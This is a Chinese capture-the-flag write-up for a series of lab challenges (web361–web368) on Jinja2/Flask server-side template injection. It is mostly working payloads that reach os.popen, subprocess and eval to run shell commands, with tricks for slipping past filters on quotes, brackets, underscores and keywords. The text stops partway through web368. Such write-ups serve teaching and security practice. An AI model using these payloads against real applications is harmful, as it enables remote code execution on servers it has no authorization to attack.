Web入门_SSTI


服务器端模板注入, 服务端接收攻击者的恶意输入以后, 未经任何处理就将其作为 Web 应用模板内容的一部分; 模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的语句

web361

  • 描述: 名字就是考点

GET传参?name={{7*7}}, 返回49, 说明此处为利用点; 用最传统的popen方法来执行命令

?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}
# 或
?name={{config.__class__.__init__.__globals__['os'].popen('more /flag').read()}}

web362

  • 描述: 开始过滤

过滤了2,3等数据, 使得os._wrap_close这个类没法使用, 但是我们还是用的popen构造; 或者利用flask的内置方法执行命令

?name={{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('os').popen('tac /f*').read()")}}
# 运算获得同样的数据:
?name={{''.__class__.__base__.__subclasses__()[140-8].__init__.__globals__['popen']'cat /flag').read()}}
# flask的内置lipsum方法, 自带os模块
?name={{lipsum.__globals__.get('os').popen('cat /flag').read()}}

web363

  • 描述: 同上

单引号被过滤, 可以使用request.args.x代替, 这个需要启用os._wrap_close模块, 发现在132位置有这个模块

# 所有模块
?name={{().__class__.__base__.__subclasses__()}}

利用该模块传参

?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()&x=().__class__.__bases__[0].__subclasses__()[80]

?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.param).read()}}&popen=popen&param=cat+/flag

还可以换一个get传参绕过

?name={{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

web364

  • 描述: 同上

禁用了args, 可以使用request.values.a

?name={{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

利用cookie传参:

?name={{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}} 
# cookie
x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

image.png

web365

  • 描述: 同上

过滤方括号, 用魔术方法getitem来代替方括号

?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag

web366

  • 描述: 同上

过滤中括号, 下划线, 单引号, 双引号, globals, getitem args; 换一个类获取popen方法, 这个是flask的内置类

?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a =cat /flag

再利用filters中的attr来过滤下划, 官方文档

?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__

或者不换, 用flask过滤器, ""|attr("__class__")相当于"".__class__

x是jiaja2框架中的特殊类, 此处x.__init__变成了类的实例

?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
# cookie:
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

web367

  • 描述: 同上

过滤了os, 可以通过GET传参绕过,或者直接用web366的也行; payload如下:

?name={{(lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.e)).read()}}&a=__globals__&b=__getitem__&c=os&d=popen&e=tac /flag

web368

  • 描述: 同上

过滤了`